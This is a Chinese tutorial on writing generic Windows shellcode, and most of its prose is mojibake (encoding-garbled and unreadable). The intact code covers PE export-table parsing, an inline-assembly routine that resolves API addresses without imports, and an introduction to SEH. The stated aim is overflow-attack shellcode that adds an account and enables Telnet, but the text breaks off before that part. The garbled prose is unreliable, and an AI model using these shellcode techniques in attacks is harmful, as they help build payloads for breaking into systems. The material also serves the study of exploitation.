´òÓ¡

ͨÓÃShellCodeÉîÈëÆÊÎö

ͨÓÃShellCodeÉîÈëÆÊÎö

ǰÑÔ:
ÔÚÍøÉϹØÓÚShellCode±àд¼¼ÊõµÄÎÄÕÂÒѾ­·Ç³£Ö®¶à,ʲôÀíÓÉÈÃÎÒÔÙдÕâÖÖ¼¼ÊõÎÄ
ÕÂÄØ?±¾ÎÄÊÇÎÒÉÏһƪÒç³ö¼¼ÊõÎÄÕÂ<Windows 2000»º³åÇøÒç³ö¼¼ÊõÔ­Àí>µÄæ¢ÃÃÆª,ͬÑù
µÄÔÚÍøÉÏÎÒÃǾ­³£¿ÉÒÔ¿´µ½Ò»Ð©¹ØÓÚShelCode±àд¼¼ÊõµÄÎÄÕÂ,ËÆºõûÓÐΪ³õѧÕß×¼±¸µÄ
,ÔÚÕâÀïÎÒ½«Õ¾ÔÚ³õѧÕߵĽǶȶÔͨÓÃShellCode½øÐбȽÏÏêϸµÄ·ÖÎö,ÓÐÁËÉÏһƪµÄÒç³ö
ÀíÂۺͱ¾ÆªµÄͨÓÃShellCodeÀíÂÛ,»ù±¾ÉÏÎÒÃǾͿÉÒÔ¸ù¾ÝһЩ¹«²¼µÄWindowÒç³ö©¶´»ò
ÊÇ×Ô¼º¶ÔһЩÈí¼þϵͳ½øÐз´»ã±à·ÖÎö³öµÄÒç³ö©¶´ÊÔ×űàдһЩÒç³ö¹¥»÷²âÊÔ³ÌÐò.
ÎÄÕÂÊ×Ïȼòµ¥·ÖÎöÁËPEÎļþ¸ñʽ¼°PEÒý³ö±í,²¢¸ø³öÁËÒ»¸öÀý³Ì,ÑÝʾÁËÈçºÎ¸ù¾ÝPE
Ïà¹Ø¼¼Êõ²éÕÒÒý³öº¯Êý¼°ÆäµØÖ·,Ëæºó·ÖÎöÁËÒ»ÖֱȽÏͨÓõĻñµÃKernel32»ùÖ·µÄ·½·¨,
×îºó½áºÏÀíÂÛ½øÐмòµ¥µÄÓ¦ÓÃ,¸ø³öÁËÒ»¸öͨÓÃShellCode.
±¾ÎÄͬÑù½áºÏÎÒѧϰʱµÄÀí½âÒԱȽÏÈÝÒ×Àí½âµÄ·½Ê½½øÐÐÃèÊö,µ«ÓÉÓÚShellCodeµÄ
¸´ÔÓÐÔ,ÎÄÕ*÷ҪʹÓÃCºÍAsmÀ´½²½â,×÷Õß¼ÙÉèÄãÒѾßÓÐÒ»¶¨µÄC/Asm»ìºÏ±à³Ì»ù´¡ÒÔ¼°ÉÏ
һƪµÄÒç³öÀíÂÛ»ù´¡,Ï£Íû±¾ÎÄÄÜÈúÍÎÒÒ»Ñù³õѧÒç³ö¼¼ÊõµÄÅóÓÑÓÐËùÌá¸ß.

[Ŀ¼]

1,PEÎļþ½á¹¹µÄ¼ò½é,¼°PEÒý³ö±íµÄ·ÖÎö.
1.1 PEÎļþ¼ò½é
1.2 Òý³ö±í·ÖÎö
1.3 ʹÓÃÄÚÁª»ã±àдһ¸öͨÓõĸù¾ÝDLL»ùÖ·»ñµÃÒý³öº¯ÊýµØÖ·µÄʵÓú¯Êý
GetFunctionByName

2,ͨÓÃKernel32.DLLµØÖ·µÄ»ñµÃ·½·¨.
2.1 ½á¹¹»¯Òì³£´¦ÀíºÍTEB¼ò½é
2.2 ʹÓÃÄÚÁª»ã±àдһ¸öͨÓõĻñµÃKernel32.DLLº¯Êý»ùÖ·µÄʵÓú¯Êý
GetKernel32

3,×ÛºÏÔËÓÃ(Ò»¸ö¼òµ¥µÄͨÓÃShellCode)
3.1 ×ÛºÏÇ°ÃæËù½²½âµÄ¼¼Êõ±àдһ¸öÌí¼ÓÕʺż°¿ªÆôTelnetµÄ¼òµ¥ShellCode:
¸ù¾ÝµÚ2½ÚËùÊö¼¼ÊõʹÓÃÎÒÃÇ×Ô¼ºÊµÏÖµÄGetFunctionByName»ñµÃLoadLibraryAºÍ
GetProcAddressº¯ÊýµØÖ·,ÔÙʹÓÃÕâÁ½¸öº¯ÊýÒýÈëËùÓÐÎÒÃÇÐèÒªµÄº¯ÊýʵÏÖÆÚÍûµÄ
¹¦ÄÜ.

4,²Î¿¼×ÊÁÏ.

5,¹Ø¼ü×Ö.
--------------------------------------------------------------------------------

Ò»,PEÎļþ½á¹¹¼°Òý³ö±í»ù´¡
1,PEÎļþ½á¹¹¼ò½é

PE(Portable Executable,ÒÆÖ²µÄÖ´ÐÐÌå),ÊÇ΢ÈíWin32»·¾³¿ÉÖ´ÐÐÎļþµÄ±ê×¼¸ñʽ
(Ëùν¿ÉÖ´ÐÐÎļþ²»¹âÊÇ.EXEÎļþ,»¹°üÀ¨.DLL/.VXD/.SYS/.VDMµÈ)

PEÎļþ½á¹¹(¼ò»¯):

-----------------
©¦1,DOS MZ header©¦
-----------------
©¦2,DOS stub ©¦
-----------------
©¦3,PE header ©¦
-----------------
©¦4,Section table©¦
-----------------
©¦5,Section 1 ©¦
-----------------
©¦6,Section 2 ©¦
-----------------
©¦ Section ... ©¦
-----------------
©¦n,Section n ©¦
-----------------

¼ÇµÃÔÚÎÒ»¹Ã»ÓнÓÈ·Win32±à³Ìʱ,ÎÒÔøÔÚDosÏÂÔËÐйýÒ»¸öWin32¿ÉÖ´ÐÐÎļþ,³ÌÐòÖ»Êä³ö
ÁËÒ»ÐÐ"This program cannot be run in DOS mode.",ÎÒ¾õµÃºÜÓÐÒâ˼,ËüÊÇÔõôʶ±ð×Ô
¼º²»ÔÚWin32ƽ̨ϵÄÄØ?ÆäʵËü²¢Ã»ÓнøÐÐʶ±ð,Ëü¿ÉÄܼòµ¥µ½Ö»ÊäÈëÕâÒ»ÐÐÎÄ×Ö¾ÍÍ˳ö
ÁË,¿ÉÄÜÔ´Âë¾ÍÏñÏÂÃæµÄC³ÌÐòÕâô¼òµ¥:

#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode.\n");
}

Äã¿ÉÄÜ»áÎÊ"ÎÒÔÚдWin32³ÌÐòʱ²¢Ã»ÓÐд¹ýÕâÑùµÄÓï¾ä°¡?",ÆäʵÕâÊÇÓÉÁ¬½ÓÆ÷(linker)
ΪÄã¹¹½¨µÄÒ»¸ö16λDOS³ÌÐò,µ±ÔÚ16λϵͳ(DOS/Windows 3.x)ÏÂÔËÐÐWin32³ÌÐòʱËü²Å»á
±»Ö´ÐÐÓÃÀ´Êä³öÒ»´®×Ö·ûÌáʾÓû§"Õâ¸ö³ÌÐò²»ÄÜÔÚDOSģʽÏÂÔËÐÐ".

ÎÒÃÇÏÈÀ´¿´¿´DOS MZ headerµ½µ×ÊÇʲô¶«Î÷,ÏÂÃæÊÇËüÔÚWinnt.hÖеĽṹÃèÊö:

typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header
WORD e_magic; //0x00 Magic number
WORD e_cblp; //0x02 Bytes on last page of file
WORD e_cp; //0x04 Pages in file
WORD e_crlc; //0x06 Relocations
WORD e_cparhdr; //0x08 Size of header in paragraphs
WORD e_minalloc; //0x0a Minimum extra paragraphs needed
WORD e_maxalloc; //0x0c Maximum extra paragraphs needed
WORD e_ss; //0x0e Initial (relative) SS value
WORD e_sp; //0x10 Initial SP value
WORD e_csum; //0x12 Checksum
WORD e_ip; //0x14 Initial IP value
WORD e_cs; //0x16 Initial (relative) CS value
WORD e_lfarlc; //0x18 File address of relocation table
WORD e_ovno; //0x1a Overlay number
WORD e_res[4]; //0x1c Reserved words
WORD e_oemid; //0x24 OEM identifier (for e_oeminfo)
WORD e_oeminfo; //0x26 OEM information; e_oemid specific
WORD e_res2[10]; //0x28 Reserved words
LONG e_lfanew; //0x3c File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

DOS MZ headerÖаüÀ¨ÁËһЩ16λDOS³ÌÐòµÄ³õʹ»¯ÖµÈç¹ûIP(Ö¸ÁîÖ¸Õë),cs(´úÂë¶Î¼Ä´æ
Æ÷),ÐèÒª·ÖÅäµÄÄÚ´æ´óС,checksum(УÑéºÍ)µÈ,µ±DOS×¼±¸Îª¿ÉÖ´ÐÐÎļþ½¨Á¢½ø³Ìʱ»á¶ÁÈ¡Æä
ÖеÄÖµÀ´Íê³É³õʹ»¯¹¤×÷.

ÁôÒâµ½×îºóÒ»¸ö½á¹¹³ÉÔ±ÁËÂð?΢ÈíµÄÈ˶ÔËüµÄÃèÊöÊÇFile address of new exe header
ÒâÒåÊÇ"еÄexeÎļþÍ·²¿µØÖ·",ËüÊÇÒ»¸öÏà¶ÔÆ«ÒÆÖµ,ÎÒÏëÎļþÆ«ÒÆÁ¿ÄãÒ»¶¨ÖªµÀÊÇʲô°É!
e_lfanew¾ÍÊÇÒ»¸öÎļþÆ«ÒÆÖµ,ËüÖ¸ÏòPE header,Ëü¶ÔÎÒÃÇÀ´Ëµ·Ç³£ÖØÒª.½ô¸ú×ÅDOS MZ header
µÄÊÇDOS stubËüÊÇlinkerΪÎÒÃǽ¨Á¢µÄÕâ¸ö16λDOS³ÌÐòµÄ´úÂëʵÌ岿·Ö,¾ÍÊÇËüÊä³öÁË
"This program cannot be run in DOS mode.".ÔÙºóÃæ¾ÍÊÇPE headerÁË,ÓÐÈËÔøÎʹýÎÒPEÍ·²¿
Ïà¶ÔÓÚ.exeÎļþµÄÆ«ÒÆÊDz»Êǹ̶¨µÄ?Õâ¸ö¿É²»ºÃ˵,²»Í¬µÄ±àÒëÆ÷Éú³ÉµÄstub³¤¶È¿ÉÄܲ»Ò»Ñù
(±ÈÈç:Ëü¿ÉÄÜ´æ´¢ÁËÕâÑùÒ»¸ö×Ö´®À´ÌáʾÓû§"The Currnet OS is not Win32,I want to run
in Win32 Mode.",ÄÇôÕâ¸östubµÄ³¤¶È½«±ÈÇ°ÃæµÄÄǸö³¤),ËùÒÔÓÃÒ»¸ö¹Ì¶¨ÖµÀ´¶¨Î»PE header
ÊDz»¿ÆÑ§µÄ,Õâ¸öʱºòÎÒÃǾÍÓõ½ÁËe_lfanew,ËüÖ¸ÏòÕæÕýµÄPE header,Ëü×ÜÊÇÕýÈ·Âð?ÄÇÊǵ±È»
µÄ!linker×ÜÊÇ»áËü¸³ÓèÒ»¸öÕýÈ·µÄÖµ.ËùÒÔÎÒÃÇÒªËü¾«È·¶¨Î»PE header,ͬÑùµÄWin32 PELoader
Ò²¸ù¾Ýe_lfanewÀ´¶¨Î»ÕæÕýµÄPE header,²¢Ê¹ÓÃPE headerÖеIJ»Í¬µÄ³ÉÔ±Öµ½øÐгõʹ»¯,PE»¹
°üº­Á˺ܶà¸ö"½Ú"(Section),ÓÐÓÃÀ´´æ´¢Êý¾ÝµÄ,ÓÐÓÃÀ´´æ¿ÉÖ´ÐдúÂëµÄ,»¹ÓеÄÊÇÓÃÀ´´æ×ÊÔ´
µÄ(Èç:³ÌÐòͼ±ê,λͼ,ÉùÒô,¶Ô»°¿òÄ£°åµÈ)
ÏÂÃæÎÒÖ»¼òµ¥·ÖÎöÒ»ÏÂPE½á¹¹Óë±àдShellCodeÏà¹ØµÄ²¿·Ö,Èç¹ûÄã¶ÔÆäËü²¿·ÖÒ²±È½Ï¸ÐÐËȤ
¿ÉÒÔ¿´¿´Ì¨¸Ûºî¿¡½ÜÏÈÉúÒëµÄ<Windows 95ϵͳ³ÌÐòÉè¼Æ´ó°ÂÃØ>ÖеÄÏà¹ØÄÚÈÝÒÔ¼°IczelionµÄ¾­
µäPE½Ì³Ì,ÎÒ¸öÈ˾õµÃ½«Á½Õß½áºÏÆðÀ´¿´ÒªºÃÒ»µã.

2,Òý³ö±í·ÖÎö

ÔÚPE header½á¹¹(Äã¿ÉÒÔWinnt.hÖÐÕÒµ½Ëü)ÖаüÀ¨Ò»¸öDataDirectory½á¹¹³ÉÔ±Êý×é,¿ÉÒÔͨ
¹ýÕâÑùµÄ·½·¨À´ÕÒµ½ËüµÄλÖÃ:
PEÍ·²¿Æ«ÒÆ=¿ÉÖ´ÐÐÎļþÄÚ´æÓ³Ïó»ùÖ·+0x3c(e_lfanew)
PE»ùÖ·=¿ÉÖ´ÐÐÎļþÄÚ´æÓ³Ïó»ùÖ·+PEÍ·²¿Æ«ÒÆ
Òý³ö±íĿ¼ָÕë(IMAGE_EXPORT_DIRECTORY*)=PE»ùÖ·+0x78<=---DataDirectory
Òý³öº¯ÊýÃû³Æ±íÊ×Ö¸Õë(char**)=Òý³ö±íĿ¼»ùÖ·+0x20
Òý³öº¯ÊýµØÖ·±íÊ×Ö¸Õë(DWORD **)=Òý³ö±íĿ¼ָÕë+0x1c
ËüµÄ½á¹¹¶¨ÒåÊÇÕâÑùµÄ:

typedef struct _Image_Data_Directory{
DWORD VirtualAddress;
DWORD isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

¸Ã½á¹¹Êý×é¹²°üÀ¨16³ÉÔ±,µÚÒ»¸ö³ÉÔ±µÄVirtualAddress´æ´¢ÁËÒ»¸öÏà¶ÔÆ«ÒÆÁ¿,ËüÖ¸ÏòÒ»¸ö
IMAGE_EXPORT_DIRECTORY½á¹¹,ËüµÄ¶¨ÒåÊÇÕâÑùµÄ:

typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;//0x00
DWORD TimeDateStamp;//0x04
WORD MajorVersion;//0x08
WORD MinorVersion;//0x0a
DWORD Name;//0x0c
DWORD Base;//0x10
DWORD NumberOfFunctions;//0x14
DWORD NumberOfNames;//0x18
DWORD AddressOfFunctions;//0x1c RVA from base of image
DWORD AddressOfNames;//0x20 RVA from base of image
DWORD AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

ÆäÖÐAddressOfFunctionsÀïÓÖ´æ´¢ÁËÒ»¸ö¶þ¼¶Ö¸Õë,ËüÖ¸ÏòÒ»¸öDWORDÐÍÖ¸ÕëÊý×é¸ÃÊý
×é³ÉÔ±ËùÖ¸¾ÍÊǺ¯ÊýµØÖ·Öµ,µ«ÆäÖеÄÖµÊǺ¯ÊýÏà¶ÔÓÚ¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖлùµØÖ·µÄÒ»
¸öÏà¶ÔÆ«ÒÆÖµ,ÕæÕýµÄº¯ÊýµØÖ·µÈÓÚÕâ¸öÏà¶ÔÆ«ÒÆÖµ+¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·,ÎÒ
ÃÇ¿ÉÒÔCallÕâ¸ö¼ÆËãºóµÄÕæÊµµØÖ·À´µ÷Óú¯Êý.AddressOfNamesÊÇÒ»¸ö¶þ¼¶×Ö·ûÖ¸Õë,¸ÃÊý×é
³ÉÔ±ËùÖ¸¾ÍÊǺ¯ÊýÃû³Æ×Ö·û´®Ïà¶ÔÓÚ¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·µÄÒ»¸öÆ«ÒÆÖµ,ͬÑù
¿ÉÒÔͨ¹ýÏà¶ÔÆ«ÒÆÖµ+¿ÉÖ´ÐÐÎļþÔÚÄÚ´æÓ³ÏóÖеĻùµØÖ·À´ÒýÓú¯ÊýÃû³Æ×Ö´®.NameÒ²ÊÇÒ»¸ö
×Ö·ûÖ¸Õë,ËüÒ²Ö»´æ´¢ÁËÏà¶ÔÆ«ÒÆÖµ,Èç¹ûÊÇkernel32µÄIMAGE_EXPORT_DIRECTORYÄÇôËüÖ¸Ïò
µÄ×Ö´®¾ÍΪ"KERNEL32.dll".

3,±¾½ÚÓ¦ÓÃʵÀý

¹ØÓÚPEºÍÒý³ö±íÎÒÃÇÒѾ­·ÖÎöÁËÓë±àдShellCodeÃÜÇÐÏà¹ØµÄ²¿·Ö,ÕâÒ»²¿·ÖµÄÈ·ÓеãÄÑ,
µ«Ò»¶¨Òª°ÑËü¸ãÇå³þ,Ö»ÓаÑËü¸ã¶®ÎÒÃDzÅÄܽøÐÐÏÂÒ»½ÚµÄѧϰ,ÔÚ±¾½ÚµÄ×îºó¸½ÉÏÒ»¸öС³ÌÐò,
ÔÚÄÚÁª»ã±à´úÂëÖдóÁ¿Ê¹ÓÃÁË"¼ä½ÓÒýÓÃ",Èç¹ûÄã¶ÔÖ¸ÕëºÜÊìϤ»ù±¾ÉÏËüºÜºÃÀí½â,ÔÚ³ÌÐòÀïÎÒ
ÃÇʵÏÖÁËWindows API GetProcAddressµÄ¹¦ÄÜ,ÕâÖÖ¼¼Êõ¶ÔÓÚÏëʹÓÃһЩδ¹«¿ªµÄϵͳº¯ÊýÒ²ÊÇ
·Ç³£Ö®ÓÐÓõÄ.
------------ -----------------------------------------

GetFunctionByNameº¯Êý¿ÉÒÔ´ÓÒ»¸öPEÖ´ÐÐÎļþÖÐÒÔº¯ÊýÃû²éÕÒÒý³ö±í²¢·µ»ØÒý³öº¯ÊýµØÖ·,Ö»
ÐèÒªÖªµÀKERNEL32.DLLµÄ»ùµØÖ·Öµ,ʹÓÃËüÔÚ±¾³ÌÐòÖÐÎÒÃDz»°üÀ¨Í·ÎļþÒ²¿ÉÒÔʹÓÃÈκÎÒ»¸ö
Windows API.ÔÚÎҵĻúÆ÷ÉÏËüÊÇ0x77e60000³ÌÐòÈçÏÂ:

//GetFunctionByName.c
//Ô­ÐÍWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//²ÎÊý:
// ImageBase: ¿ÉÖ´ÐÐÎļþµÄÄÚ´æÓ³Ïó»ùÖ·
// FuncName: º¯ÊýÃû³ÆÖ¸Õë
// flen: º¯ÊýÃû³Æ³¤¶È
//·µ»ØÖµ:
// º¯Êý³É¹¦Ê±·µ»ØÓÐЧµÄº¯ÊýµØÖ·,ʧ°Üʱ·µ»Ø0.
//×îÖÕÔÚдShellCodeʱ,Ó¦¸Ã¸ø¸Ãº¯Êý¼ÓÉÏ__inlineÉùÃ÷,ÒòΪËüÒªÓëShellCodeÈÚΪһÌå.

//×¢Òâ,ÔÚ±¾ÀýÖÐÎÒÃÇûÓаüÀ¨ÈκÎÒ»¸ö.hÎļþ

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//Ö¸ÏòPEÍ·²¿Æ«ÒÆÖµe_lfanew
mov eax,[eax]//È¡µÃe_lfanewÖµ
add eax,ImageBase//Ö¸ÏòPE header
cmp [eax],0x00004550
jne NotFound//Èç¹ûImageBase¾ä±úÓдí
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//Ö¸ÏòIMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//Ö¸ÏòÒý³öÄ£¿éÃû,Èç¹ûÔÚ²éÕÒKERNEL32.DLLµÄÒý³öº¯ÊýÄÇôËü½«Ö¸Ïò"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//±£´æº¯ÊýÃû³ÆÖ¸ÕëÊý×éµÄÖ¸ÕëÖµ
mov ecx,[IED]
mov ecx,[ecx+0x14]//¸ù¾ÝÒý³öº¯Êý¸öÊýNumberOfFunctionsÉèÖÃ×î´ó²éÕÒ´ÎÊý
FindLoop:
push ecx//ʹÓÃÒ»¸öС¼¼ÇÉ,ʹÓóÌÐòÑ­»·¸ü¼òµ¥
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//Öð¸ö×Ö·û±È½Ï,Èç¹ûÏàͬÔòΪÕÒµ½º¯Êý,×¢ÒâÕâÀïµÄecxÖµ
cld
rep cmpsb
jne FindNext//Èç¹ûµ±Ç°º¯Êý²»ÊÇÖ¸¶¨µÄº¯ÊýÔò²éÕÒÏÂÒ»¸ö
add esp,4//Èç¹û²éÕҳɹ¦,ÔòÇå³ýÓÃÓÚ¿ØÖÆÍâ²ãÑ­»·¶øÑ¹ÈëµÄEcx,×¼±¸·µ»Ø
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//»ñµÃº¯ÊýµØÖ·±í
shl Count,2//¸ù¾Ýº¯ÊýË÷Òý¼ÆË㺯ÊýµØÖ·Ö¸Õë=º¯ÊýµØÖ·±í»ùÖ·+(º¯ÊýË÷Òý*4)
add eax,Count
mov eax,[eax]//»ñµÃº¯ÊýµØÖ·Ïà¶ÔÆ«ÒÆÁ¿
add eax,ImageBase//¼ÆË㺯ÊýÕæÊµµØÖ·,²¢Í¨¹ýEax·µ»Ø¸øµ÷ÓÃÕß
jmp Found
FindNext:
inc Count//¼Ç¼º¯ÊýË÷Òý
add [FunNameArray],4//ÏÂÒ»¸öº¯ÊýÃûÖ¸Õë
mov eax,FunNameArray
pop ecx//»Ö¸´Ñ¹ÈëµÄecx(NumberOfFunctions),½øÐмÆÊýÑ­»·
loop FindLoop//Èç¹ûecx²»Îª0ÔòµÝ¼õ²¢»Øµ½FindLoop,Íùºó²éÕÒ
NotFound:xor eax,eax//Èç¹ûûÓÐÕÒµ½,Ôò·µ»Ø0
Found:
}
}
/*
ÈÃÎÒÃÇÀ´²âÊÔÒ»ÏÂ,ÏÈÓÃGetFunctionByName»ñµÃkernel32.dllÖÐLoadLibraryA
µÄµØÖ·,ÔÙÓÃËü×°ÔØuser32.dll,ÔÙÓÃGetFunctionByName»ñµÃMessageBoxAµÄµØÖ·,call
ËüÒ»ÏÂ
*/ int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000ÊÇÎÒ»úÆ÷ÉϵÄkernel32.dllµÄ»ùÖ·,²»Í¬»úÆ÷ÉϵÄÖµ¿ÉÄܲ»Í¬
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //Ï൱ÓÚÖ´ÐÐLoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"µÄ³¤¶È
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByNameʹÓÃCµ÷ÓÃÔ¼¶¨,Óɵ÷ÓÃÕßµ÷Õû¶ÑÕ»
push 0
lea eax,title
push eax
push eax
push 0
call ebx//Ï൱ÓÚÖ´ÐÐMessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
º¯ÊýµÄÄÚÁª»ã±à´úÂëÓкܶàÕâÑùµÄÓï¾ä:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
ÎÒÊÔ¹ýʹÓÃmov eax,[ImageBase+eax+0x??]Ö®ÀàµÄÓï·¨,ÒòΪÓõ½ºÜ¶à¶à¼¶Ö¸Õë,¶øËüÃÇÖ¸Ïò
µÄÓÖÊÇÏà¶ÔÆ«ÒÆÁ¿ËùÒÔÒª²»¶ÏµÄ"»ñÈ¡ºÍ¼ÆËã",·ñÔòºÜÈÝÒ×µ¼ÖÂ"·ÃÎÊÎ¥Àý".±àÒëÔËÐÐ,µ¯³öÁË
Ò»¸öMessageBox±êÌâºÍÄÚÈݶ¼ÊÇ"test"¿´µ½ÁËÂð?Äã¿ÉÄÜ»áÎÊÕâ¸ö³ÌÐòÄõ½ÆäËü»úÆ÷ÉÏÒ²¿ÉÄÜ
ÔËÐÐÂð?ÔÚÕû¸ö³ÌÐòÀïÎÒÃÇΨһÒÀÀµµÄ¾ÍÊÇ0x77e60000Õâ¸ökernel32.dll»ùÖ·,ÆäËü»úÆ÷ÉϵÄ
¿ÉÄܲ»ÊÇÕâ¸öÖµ,Èç¹ûÕâ¸öµØÖ·Öµ¿ÉÒÔÔÚ³ÌÐòÔËÐÐʱ¶¯Ì¬µÄ¼ÆËã³öÀ´,ÄÇôÕâ¸ö³ÌÐò½«·Ç³£Í¨
ÓÃ,Ëü¿ÉÒÔ¶¯Ì¬¼ÆËã³öÀ´Âð?´ð°¸Êǿ϶¨µÄ!ÏÂÒ»½ÚÎÒÃǽ«À´·ÖÎöÒ»ÖÖ²¢²»ºÜÁ÷Ðе«ºÜͨÓõ͝
̬¼ÆËã»ñµÃkernel32.dll»ùÖ·µÄ·½·¨.

---------------------------------------------------------------------------------

¶þ,ÔÚ¶¯Ì¬»ñµÃKernel32.DLLµØÖ··½·¨µÄ·ÖÎö

1,¼òÎö½á¹¹»¯Òì³£´¦Àí(SEH,Structred Exception Handling)
SEHÒѾ­²»ÊǺÜʲôм¼ÊõÁË,µ«ÊǶÔÓÚÎÒ½«Òª½²Á˷dz£ÖØÒª,ËùÒÔÔÚÕâÀï¶ÔËü×öÒ»¸ö¼òµ¥µÄ
·ÖÎö.Ok,´ò¿ªVC,ÈÃÎÒÃÇÀ´·ÖÎöÒ»¸ö¼òµ¥µÄ"³ý"ÔËËã³ÌÐò,¿´¿´ËüÄÄÀïÓÐÎÊÌâ:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
±àÒë,ÔËÐÐ:ÊäÈë4 2,³ÌÐòÊä³ö"4 DIV 2 = 2",½á¹ûºÜÕýÈ·.ÔÙÔËÐÐÊäÈë 4 0,ÎÊÌâ³öÀ´ÁË,
Visual Studioµ¯³öÁËÒ»¸öÐÅÏ¢¿ò:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",³öÏÖÁËδ´¦ÀíµÄ
"³ý0Òì³£",´«Í³µÄ·½·¨ÊÇÎÒÃÇÔÚz=x/y֮ǰ¼ÓÉÏÅжÏ:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
³ö´í´¦ÀíÔÚÕâ¸öС³ÌÐòÀïÕâµÄÈ·ºÜÈÝÒ׿´¶®,¿ÉÊÇÏëÏëÈç¹ûÔÚÊýǧÉõÖÁÉÏÍòÐеijÌÐòÀï,ÕâÑùµÄ
´íÎó²¶»ñ´¦Àí»áÈóÌÐò±äµÄÊ®·ÖÁèÂÒÄѶ®,¶øÇÒ´«Í³·½·¨´¦ÀíµÄÊÇÎÒÃÇ¿ÉÒÔÏëÏñ(²Â²â)µ½µÄ´íÎó,
µ«ÊÇijЩµ¼µ½³ÌÐò³ö´íµÄÇé¿öÊǺÜËæ»úµÄ,ÕâÑù¾Í²»Äܱ£Ö¤³ÌÐòµÄ½¡×³ÐÔÁË,¶øSEHÕýÊÇΪÁËÈÃÕý
³£µÄ´¦Àí´úÂëºÍ³ö´í´¦Àí´úÂë·Ö¿ª,ÒÔʹ³ÌÐò½á¹¹ÇåäÀ,²¢Ê¹³ÌÐò¸ü¼Ó
½¡×³.ÈÃÎÒÃÇÔÙ°ÑÕâ¸öС³ÌÐò¸ÄÒ»ÏÂ:
#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//°Ñ¿ÉÄܳö´íµÄ³ÌÐò¶Î·â×°ÆðÀ´
z=x/y;
//......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//ÔÚÕâÀïÕÒ³ö³öÏÖÒì³£µÄÔ­Òò,²¢½øÐд¦Àí
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://Èç¹û³ý0Òì³£
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://ÄÚ´æ·ÃÎÊÎ¥Àý
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %d\n",x,y,z);
LQUIT:
getch();
return 0;
}
ÕâÑùÎÒÃǾÍʹÖÕ¶¼¿ÉÒÔ²¶»ñµ½Òì³£ÁË,±àÒë,Ñ¡Ôñ"Disassembly",¿ÉÒÔ¿´µ½ÕâÑùµÄ´úÂë:
push offset __except_handler3 (00401330)
mov eax,fs:[00000000]
push eax
mov dword ptr fs:[0],esp
ÕâÊÇʵ¼ÊÉÏÊDZê×¼µÄSEHÒì³£´¦Àíº¯ÊýµÄ×¢²á·½·¨,ÎÒÃǵÄ__except(){}ʵ¼ÊÔÚ±àÒëʱ±»µ±³ÉÒ»¸ö
Ïß³ÌÏà¹ØµÄÒì³£´¦Àíº¯Êý,ʵ¼ÊÉÏÕâ¶Î´úÂëµÄ×÷ÓÃÊǽ«ÎÒÃǵÄÒì³£´¦Àíº¯Êý¼ÓÈëÒì³£´¦Àí½á¹¹Á´
±íEXCEPTION_REGISTRATION_RECORD,fs:[0]ÊÇÕâ¸öÒì³£´¦Àíº¯ÊýÁ´±íµÄÊ×Ö¸Õë,ËüµÄ×îºóÒ»Ìõ¼Ç¼
µÄ½ÚµãÖ¸ÕëÖ¸Ïò0xffffffff.ËüµÄ½á¹¹ÃèÊöÊÇÕâÑùµÄ:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext; //Ö¸ÏòºóÃæµÄ½Úµã
FARPROC pfnHandler;//Ö¸ÏòÒì³£´¦Àíº¯Êý
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

Äã¿ÉÄÜ»áÎÊ"ÄãÔõô֪µÀfs:[0]ÊǸýṹµÄÊ×Ö¸ÕëÄØ?",µ±È»ÎÒûÓÐÄÇôÌì²Å,´ÓWindows 95ϵͳ³ÌÐò
